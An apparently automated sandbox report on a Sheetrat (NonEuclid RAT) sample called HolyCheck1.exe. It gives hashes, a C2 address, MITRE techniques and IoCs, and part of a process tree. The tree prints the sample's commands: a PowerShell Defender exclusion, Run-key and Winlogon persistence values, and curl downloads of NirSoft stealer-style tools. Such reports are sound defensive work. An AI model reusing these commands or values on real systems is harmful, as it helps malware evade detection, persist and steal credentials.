sheetrat | 8d84295d27f4e621d4e58febab9183fa109f3a8258e67ba765c544166580ed5c

Analysis

max time kernel
42s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/07/2026, 12:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
HolyCheck1.exe
Size 823KB
Sample260717-pl8pjsa12l
SHA256 8d84295d27f4e621d4e58febab9183fa109f3a8258e67ba765c544166580ed5c
MD5 c32486ef89662cb2d2a6c0933693e058
SHA1 701d715be63619f469f466b3dd89f226d4cf2b06
SHA512 6cc8a3449c0773a4c8108af487a45fa55e461ae1c7a7540968b403931ca821ee2449917e9c0d4155039ede211ae3e636c2ff8b18d4ed8f02a7d59e0da5ce6de8
SSDEEP 24576:sfRRhfgjk9EjY6FD6EHqwU1B2SFMkUsYEL+Po:sJDfgjsCYm6EKwU1ActXYEC
TLSH
T1120533E202FA5F94D1590E3C9E3F54B63878815CC1D38D6B0DAD82ECEB14D48DAE56E2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution sheetrat persistence privilege_escalation ransomware spyware stealer trojan upx

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://www.nirsoft.net/utils/browserdownloadsview.zip

Extracted

Family

sheetrat

Version

91.92.42.94:1105

Signatures

Family: Sheetrat, NonEuclid rat
Sheetrat aka NonEuclid RAT is a trojan written in C#.
trojan sheetrat

Detects Sheetrat obfuscated V1.8 and higher 2 IoCs

Sheetrat aka NonEuclid RAT is a trojan written in C#.

resource	yara_rule
behavioral2/memory/6048-57-0x00000000005C0000-0x0000000000660000-memory.dmp	family_sheetrat_v4
behavioral2/files/0x0008000000016cbe-56.dat	family_sheetrat_v4

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\System32\\userinit.exe,C:\\Windows\\Sub\\MaIwareDef.exe"	cheatchecker.exe

Detected Nirsoft tools 14 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/files/0x000f00000001c4b7-197.dat	Nirsoft
behavioral2/memory/2028-274-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/2384-282-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/5872-319-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/260-321-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/5524-323-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/4588-326-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/1748-328-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/5048-329-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/260-331-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/1748-337-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/3708-339-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/4620-346-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft
behavioral2/memory/4360-345-0x0000000000400000-0x0000000000417000-memory.dmp	Nirsoft

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
23	2372	curl.exe
27	1116	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1840	powershell.exe
4524	powershell.exe
692	powershell.exe
2500	powershell.exe
2328	powershell.exe
1136	powershell.exe
3244	powershell.exe
5600	powershell.exe
2880	powershell.exe
2324	powershell.exe
4232	powershell.exe

Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010

Executes dropped EXE 15 IoCs

pid	Process
2932	HolyCheck.exe
1256	HolyCheck.exe
6048	cheatchecker.exe
5012	cheatchecker.exe
2980	MaIwareDef.exe
3044	MaIwareDef.exe
4088	ExecutedProgramsList.exe
5064	ExecutedProgramsList.exe
3056	BrowserDownloadsView.exe
2028	RecentFilesView.exe
5900	ExecutedProgramsList.exe
1436	ExecutedProgramsList.exe
2384	RecentFilesView.exe
5236	ExecutedProgramsList.exe
1868	ExecutedProgramsList.exe

Loads dropped DLL 48 IoCs

pid	Process
1320	schtasks.exe
1608	Process not Found
3484	Process not Found
2320	Process not Found
2980	MaIwareDef.exe
2620	Process not Found
692	powershell.exe
3044	MaIwareDef.exe
2500	powershell.exe
5832	Process not Found
4972	Process not Found
2328	powershell.exe
2732	Process not Found
2996	Process not Found
2404	Process not Found
5276	schtasks.exe
752	Process not Found
6088	schtasks.exe
5076	Process not Found
3144	Process not Found
2880	powershell.exe
5928	Process not Found
1740	Process not Found
476	Conhost.exe
2324	powershell.exe
5856	Process not Found
1292	Process not Found
5264	Process not Found
4660	schtasks.exe
4176	schtasks.exe
2500	Conhost.exe
1116	powershell.exe
5972	Process not Found
4956	Process not Found
2744	schtasks.exe
4616	Process not Found
4588	schtasks.exe
2024	Process not Found
4560	Process not Found
1136	powershell.exe
5592	Process not Found
5928	Process not Found
2696	Process not Found
5860	Process not Found
1460	Process not Found
4232	powershell.exe
3384	schtasks.exe
2288	schtasks.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\HolyCheck = "C:\\Users\\Admin\\AppData\\Local\\Temp\\HolyCheck.exe"	HolyCheck1.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\cheatchecker = "C:\\Users\\Admin\\AppData\\Local\\Temp\\cheatchecker.exe"	HolyCheck1.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

UPX packed file 14 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2028-245-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/2028-274-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/2384-282-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/5872-319-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/260-321-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/5524-323-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/4588-326-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/1748-328-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/5048-329-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/260-331-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/1748-337-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/3708-339-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/4620-346-0x0000000000400000-0x0000000000417000-memory.dmp	upx
behavioral2/memory/4360-345-0x0000000000400000-0x0000000000417000-memory.dmp	upx

Drops file in Windows directory 12 IoCs

description	ioc	Process
File created	C:\Windows\xdwd.dll	cheatchecker.exe
File opened for modification	C:\Windows\Sub\WlndowsUpdate.exe	cheatchecker.exe
File opened for modification	C:\Windows\Sub\MaIwareDef.exe	MaIwareDef.exe
File opened for modification	C:\Windows\Sub\WlndowsUpdate.exe	MaIwareDef.exe
File created	C:\Windows\Sub\WlndowsUpdate.exe	cheatchecker.exe
File opened for modification	C:\Windows\xdwd.dll	cheatchecker.exe
File opened for modification	C:\Windows\Sub\MaIwareDef.exe	MaIwareDef.exe
File opened for modification	C:\Windows\Sub\WlndowsUpdate.exe	MaIwareDef.exe
File created	C:\Windows\Sub\MaIwareDef.exe	cheatchecker.exe
File opened for modification	C:\Windows\Sub\MaIwareDef.exe	cheatchecker.exe
File opened for modification	C:\Windows\Sub\WlndowsUpdate.exe	cheatchecker.exe
File opened for modification	C:\Windows\Sub\MaIwareDef.exe	cheatchecker.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BrowserDownloadsView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RecentFilesView.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExecutedProgramsList.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	HolyCheck.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	HolyCheck.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	RecentFilesView.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	RecentFilesView.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5100	schtasks.exe
3308	schtasks.exe
3380	schtasks.exe
2136	schtasks.exe
2464	schtasks.exe
1740	schtasks.exe
4292	schtasks.exe
7424	schtasks.exe
4480	schtasks.exe
2484	schtasks.exe
3152	schtasks.exe
4400	schtasks.exe
7532	schtasks.exe
7188	schtasks.exe
6796	schtasks.exe
4376	schtasks.exe
6128	schtasks.exe
852	schtasks.exe
3180	schtasks.exe
3236	schtasks.exe
3324	schtasks.exe
4708	schtasks.exe
5100	schtasks.exe
6180	schtasks.exe
5280	schtasks.exe
7140	schtasks.exe
7252	schtasks.exe
476	schtasks.exe
4176	schtasks.exe
2744	schtasks.exe
4820	schtasks.exe
4576	schtasks.exe
7232	schtasks.exe
6744	schtasks.exe
3256	schtasks.exe
2692	schtasks.exe
3244	schtasks.exe
7876	schtasks.exe
8072	schtasks.exe
5740	schtasks.exe
5408	schtasks.exe
1840	schtasks.exe
540	schtasks.exe
4164	schtasks.exe
5896	schtasks.exe
7064	schtasks.exe
7960	schtasks.exe
8048	schtasks.exe
6736	schtasks.exe
6060	schtasks.exe
668	schtasks.exe
2068	schtasks.exe
6552	schtasks.exe
6252	schtasks.exe
6076	schtasks.exe
4884	schtasks.exe
3428	schtasks.exe
7912	schtasks.exe
7228	schtasks.exe
2336	schtasks.exe
6392	schtasks.exe
6332	schtasks.exe
8112	schtasks.exe
2848	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1840	powershell.exe
1840	powershell.exe
4524	powershell.exe
4524	powershell.exe
4524	powershell.exe
1320	schtasks.exe
1320	schtasks.exe
2980	MaIwareDef.exe
2980	MaIwareDef.exe
692	powershell.exe
692	powershell.exe
3044	MaIwareDef.exe
3044	MaIwareDef.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
692	powershell.exe
692	powershell.exe
2500	powershell.exe
692	powershell.exe
2328	powershell.exe
2328	powershell.exe
2328	powershell.exe
2328	powershell.exe
2328	powershell.exe
5276	schtasks.exe
5276	schtasks.exe
6088	schtasks.exe
6088	schtasks.exe
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
2880	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
4660	schtasks.exe
4660	schtasks.exe
4176	schtasks.exe
4176	schtasks.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
1116	powershell.exe
2744	schtasks.exe
2744	schtasks.exe
4588	schtasks.exe
4588	schtasks.exe
1136	powershell.exe
1136	powershell.exe
1136	powershell.exe
1136	powershell.exe
1136	powershell.exe
4232	powershell.exe
4232	powershell.exe
3384	schtasks.exe
3384	schtasks.exe
2288	schtasks.exe
2288	schtasks.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1436	ExecutedProgramsList.exe

Suspicious use of AdjustPrivilegeToken 57 IoCs

description	pid	Process
Token: SeDebugPrivilege	1840	powershell.exe
Token: SeIncreaseQuotaPrivilege	1840	powershell.exe
Token: SeSecurityPrivilege	1840	powershell.exe
Token: SeTakeOwnershipPrivilege	1840	powershell.exe
Token: SeLoadDriverPrivilege	1840	powershell.exe
Token: SeSystemProfilePrivilege	1840	powershell.exe
Token: SeSystemtimePrivilege	1840	powershell.exe
Token: SeProfSingleProcessPrivilege	1840	powershell.exe
Token: SeIncBasePriorityPrivilege	1840	powershell.exe
Token: SeCreatePagefilePrivilege	1840	powershell.exe
Token: SeBackupPrivilege	1840	powershell.exe
Token: SeRestorePrivilege	1840	powershell.exe
Token: SeShutdownPrivilege	1840	powershell.exe
Token: SeDebugPrivilege	1840	powershell.exe
Token: SeSystemEnvironmentPrivilege	1840	powershell.exe
Token: SeRemoteShutdownPrivilege	1840	powershell.exe
Token: SeUndockPrivilege	1840	powershell.exe
Token: SeManageVolumePrivilege	1840	powershell.exe
Token: 33	1840	powershell.exe
Token: 34	1840	powershell.exe
Token: 35	1840	powershell.exe
Token: 36	1840	powershell.exe
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeIncreaseQuotaPrivilege	4524	powershell.exe
Token: SeSecurityPrivilege	4524	powershell.exe
Token: SeTakeOwnershipPrivilege	4524	powershell.exe
Token: SeLoadDriverPrivilege	4524	powershell.exe
Token: SeSystemProfilePrivilege	4524	powershell.exe
Token: SeSystemtimePrivilege	4524	powershell.exe
Token: SeProfSingleProcessPrivilege	4524	powershell.exe
Token: SeIncBasePriorityPrivilege	4524	powershell.exe
Token: SeCreatePagefilePrivilege	4524	powershell.exe
Token: SeBackupPrivilege	4524	powershell.exe
Token: SeRestorePrivilege	4524	powershell.exe
Token: SeShutdownPrivilege	4524	powershell.exe
Token: SeDebugPrivilege	4524	powershell.exe
Token: SeSystemEnvironmentPrivilege	4524	powershell.exe
Token: SeRemoteShutdownPrivilege	4524	powershell.exe
Token: SeUndockPrivilege	4524	powershell.exe
Token: SeManageVolumePrivilege	4524	powershell.exe
Token: 33	4524	powershell.exe
Token: 34	4524	powershell.exe
Token: 35	4524	powershell.exe
Token: 36	4524	powershell.exe
Token: SeDebugPrivilege	6048	cheatchecker.exe
Token: SeDebugPrivilege	5012	cheatchecker.exe
Token: SeDebugPrivilege	2980	MaIwareDef.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	3044	MaIwareDef.exe
Token: SeDebugPrivilege	692	powershell.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeIncBasePriorityPrivilege	2980	MaIwareDef.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	1136	powershell.exe
Token: SeDebugPrivilege	4232	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2624 wrote to memory of 1840	2624	HolyCheck1.exe	89
PID 2624 wrote to memory of 2932	2624	HolyCheck1.exe	92
PID 2624 wrote to memory of 4524	2624	HolyCheck1.exe	93
PID 2624 wrote to memory of 6048	2624	HolyCheck1.exe	97
PID 6048 wrote to memory of 1040	6048	cheatchecker.exe	101
PID 6048 wrote to memory of 456	6048	cheatchecker.exe	102
PID 2932 wrote to memory of 4344	2932	HolyCheck.exe	105
PID 2932 wrote to memory of 1744	2932	HolyCheck.exe	106
PID 2932 wrote to memory of 1620	2932	HolyCheck.exe	107
PID 1256 wrote to memory of 1948	1256	HolyCheck.exe	108
PID 1256 wrote to memory of 2380	1256	HolyCheck.exe	109
PID 1256 wrote to memory of 5952	1256	HolyCheck.exe	231
PID 6048 wrote to memory of 1076	6048	cheatchecker.exe	117
PID 5012 wrote to memory of 5232	5012	cheatchecker.exe	119
PID 456 wrote to memory of 476	456	cmd.exe	164
PID 5012 wrote to memory of 1564	5012	cheatchecker.exe	122
PID 1076 wrote to memory of 3244	1076	cmd.exe	216
PID 5232 wrote to memory of 2140	5232	cmd.exe	125
PID 1564 wrote to memory of 1320	1564	cmd.exe	126
PID 1256 wrote to memory of 5284	1256	HolyCheck.exe	127
PID 2932 wrote to memory of 4308	2932	HolyCheck.exe	129
PID 1256 wrote to memory of 692	1256	HolyCheck.exe	131
PID 5012 wrote to memory of 2980	5012	cheatchecker.exe	133
PID 2932 wrote to memory of 2500	2932	HolyCheck.exe	177
PID 6048 wrote to memory of 3044	6048	cheatchecker.exe	136
PID 2932 wrote to memory of 256	2932	HolyCheck.exe	137
PID 2932 wrote to memory of 2328	2932	HolyCheck.exe	139
PID 2980 wrote to memory of 2292	2980	MaIwareDef.exe	141
PID 3044 wrote to memory of 5252	3044	MaIwareDef.exe	143
PID 2980 wrote to memory of 2820	2980	MaIwareDef.exe	144
PID 2820 wrote to memory of 5276	2820	cmd.exe	147
PID 5252 wrote to memory of 4376	5252	cmd.exe	148
PID 3044 wrote to memory of 3760	3044	MaIwareDef.exe	149
PID 2292 wrote to memory of 6088	2292	cmd.exe	151
PID 3760 wrote to memory of 3216	3760	cmd.exe	243
PID 1256 wrote to memory of 1748	1256	HolyCheck.exe	298
PID 1256 wrote to memory of 2880	1256	HolyCheck.exe	324
PID 2932 wrote to memory of 2372	2932	HolyCheck.exe	310
PID 1256 wrote to memory of 4088	1256	HolyCheck.exe	159
PID 2932 wrote to memory of 2600	2932	HolyCheck.exe	160
PID 2932 wrote to memory of 5064	2932	HolyCheck.exe	162
PID 2932 wrote to memory of 2324	2932	HolyCheck.exe	163
PID 2932 wrote to memory of 2736	2932	HolyCheck.exe	166
PID 1256 wrote to memory of 3056	1256	HolyCheck.exe	168
PID 2980 wrote to memory of 2148	2980	MaIwareDef.exe	169
PID 2980 wrote to memory of 5756	2980	MaIwareDef.exe	171
PID 2148 wrote to memory of 4660	2148	cmd.exe	173
PID 5756 wrote to memory of 4176	5756	cmd.exe	174
PID 2932 wrote to memory of 2028	2932	HolyCheck.exe	175
PID 2932 wrote to memory of 1116	2932	HolyCheck.exe	176
PID 1256 wrote to memory of 2156	1256	HolyCheck.exe	178
PID 1256 wrote to memory of 5900	1256	HolyCheck.exe	179
PID 2932 wrote to memory of 2384	2932	HolyCheck.exe	181
PID 2932 wrote to memory of 1436	2932	HolyCheck.exe	182
PID 2980 wrote to memory of 2124	2980	MaIwareDef.exe	183
PID 2124 wrote to memory of 2744	2124	cmd.exe	185
PID 2980 wrote to memory of 4580	2980	MaIwareDef.exe	186
PID 4580 wrote to memory of 4588	4580	cmd.exe	242
PID 1256 wrote to memory of 3432	1256	HolyCheck.exe	311
PID 1256 wrote to memory of 1136	1256	HolyCheck.exe	191
PID 1256 wrote to memory of 1616	1256	HolyCheck.exe	193
PID 2932 wrote to memory of 3848	2932	HolyCheck.exe	195
PID 2932 wrote to memory of 5236	2932	HolyCheck.exe	196
PID 1256 wrote to memory of 1868	1256	HolyCheck.exe	198

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\HolyCheck1.exe
"C:\Users\Admin\AppData\Local\Temp\HolyCheck1.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\HolyCheck.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1840
- C:\Users\Admin\AppData\Local\Temp\HolyCheck.exe
  "C:\Users\Admin\AppData\Local\Temp\HolyCheck.exe"
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\system32\curl.exe
    C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip.part https://www.nirsoft.net/utils/recentfilesview.zip
    3⤵
    PID:4344
- - C:\Windows\system32\curl.exe
    C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip.part https://www.nirsoft.net/utils/executedprogramslist.zip
    3⤵
    PID:1744
- - C:\Windows\system32\curl.exe
    C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip.part https://www.nirsoft.net/utils/browserdownloadsview.zip
    3⤵
    PID:1620
- - C:\Windows\system32\tar.exe
    C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview
    3⤵
    PID:4308
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2500
- - C:\Windows\system32\tar.exe
    C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist
    3⤵
    PID:256
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2328
- - C:\Windows\system32\curl.exe
    C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip.part https://www.nirsoft.net/utils/recentfilesview.zip
    3⤵
    - Badlisted process makes network request
    PID:2372
- - C:\Windows\system32\tar.exe
    C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview
    3⤵
    PID:2600
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5064
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2324
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Loads dropped DLL
      PID:476
- - C:\Windows\system32\curl.exe
    C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip.part https://www.nirsoft.net/utils/browserdownloadsview.zip
    3⤵
    PID:2736
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
